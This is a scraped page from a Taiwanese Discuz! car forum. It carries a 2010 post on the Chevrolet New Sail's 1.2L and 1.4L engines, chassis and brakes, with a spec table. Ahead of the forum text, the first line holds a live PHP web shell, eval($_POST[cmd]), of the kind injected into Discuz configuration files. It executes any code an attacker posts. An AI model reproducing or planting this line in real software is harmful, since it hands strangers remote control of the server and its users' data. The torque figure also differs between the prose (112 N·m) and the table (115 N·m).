');eval($_POST[cmd])?>'); define('UC_APPID', 'UC_APPID'); define('UC_PPP', '20'); 四輪天下 - Powered by Discuz! Board Board logo

標題: 新賽歐全系動力和底盤系統 [打印本頁]
作者: viendolyn5258    時間: 2010-8-25 01:03     標題: 新賽歐全系動力和底盤系統

樂風已經停產1.2L車型為新賽歐的到來掃清了一些阻礙。新的1.2L動力將成為新賽歐的一個亮點所在，64千瓦最大功率，112牛.米最大扭矩都和裝備在樂風車型上一模一樣。不同的是，樂風當年只是將1.2L動力配備了一款入門車型。而新賽歐據說要配備3款。對於1.2L車型而言，平均不到7升的油耗已經在樂風上得到證實。

  新賽歐1.2 新賽歐1.4
發動機 直列4缸 直列4缸
排量 1.2 1.4
變速箱 5MT 5MT
最大功率(kw/rpm) 64/5600 76/6000
最大扭矩(N．m) 115/4400 131/4200
最高車速(km/h) 165 170
制動系統 通風盤/鼓 通風盤/鼓
排放 歐IV 歐IV


　　新賽歐的1.4L動力相比以前同類單元也有了新的表現，最大功率和最大扭矩均有小幅度提升。S-TEC III 1.4L 16V表明了這是一台16氣門發動機，最大功率76千瓦，最大扭矩131牛米，並擁有VGIS可變進氣歧管及PDA可變進氣口技術，技術含量比較高。單從數據上來看，這個數據已經接近1.5L甚至1.6L車型的動力表現，那麼對於這款主要穿梭於都市的代步家轎而言，動力絕不是擔心的問題。更重要的一點是，新賽歐1.2L和1.4L發動機均採用了正時鏈條設計，這意味著，以往6萬公里更換正時皮帶的繁瑣以及大筆費用支出將成為歷史。

　　新賽歐採用齒輪齒條式液壓助力轉向，轉向助力比較輕巧，但路感和精確性仍然一般，不會超出同級運動車型。懸掛結構為前麥克弗遜獨立+後扭力梁半獨立，這是小車型常用的懸掛方式，對於新賽歐來說，只是調教和樂風有略微區別，總體上還是以舒適為主要訴求。制動系統為前通風盤式/後鼓式。配合175輪胎，制動沒有問題，油耗也會比185規格輪胎理想一些。



歡迎光臨 四輪天下 (http://bbs.shonlong.com.tw/discuz/) Powered by Discuz! 7.0.0